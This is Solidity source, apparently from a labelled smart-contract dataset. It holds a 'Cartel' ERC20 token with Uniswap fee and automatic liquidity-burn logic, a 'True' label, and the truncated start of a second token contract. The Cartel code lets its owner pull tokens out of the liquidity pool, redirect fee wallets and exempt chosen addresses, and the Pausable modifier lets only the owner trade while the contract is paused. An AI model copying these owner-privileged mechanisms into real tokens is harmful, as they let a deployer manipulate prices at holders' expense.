"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract Cartel is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 20; // 20 = .20%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public constant buyMarketingFee = 2;
uint256 public constant buyLiquidityFee = 0;
uint256 public constant buyDevFee = 1;
uint256 public sellTotalFees;
uint256 public constant sellMarketingFee = 2;
uint256 public constant sellLiquidityFee = 2;
uint256 public constant sellDevFee = 1;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
event BoughtEarly(address indexed sniper);
constructor() ERC20("Cartel", "CARTEL") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 20_000_000 * 1e18;
maxWallet = 25_000_000 * 1e18;
swapTokensAtAmount = (totalSupply * 3) / 10000;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0x369b5090dF08b1Ef6Dfa3eD05dE54fCc858f40F6);
devWallet = address(0x369b5090dF08b1Ef6Dfa3eD05dE54fCc858f40F6);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function startTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File openzeppelin-solidity/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File openzeppelin-solidity/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/tokens/abstract/Pausable.sol
pragma solidity 0.8.4;
abstract contract Pausable is Context, Ownable {
uint256 private _isPaused;
modifier notPaused {
require(_isPaused == 0 || _msgSender() == owner(), "Paused");
_;
}
function isPaused() external view returns(bool) {
return _isPaused == 1;
}
function togglePause() external onlyOwner returns(bool) {
_isPaused = 1 - _isPaused;
return true;
}
}
// File openzeppelin-solidity/contracts/token/ERC20/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File openzeppelin-solidity/contracts/utils/math/[email protected]
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @uniswap/v2-periphery/contracts/interfaces/[email protected]
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File @uniswap/v2-periphery/contracts/interfaces/[email protected]
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File @uniswap/v2-core/contracts/interfaces/[email protected]
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
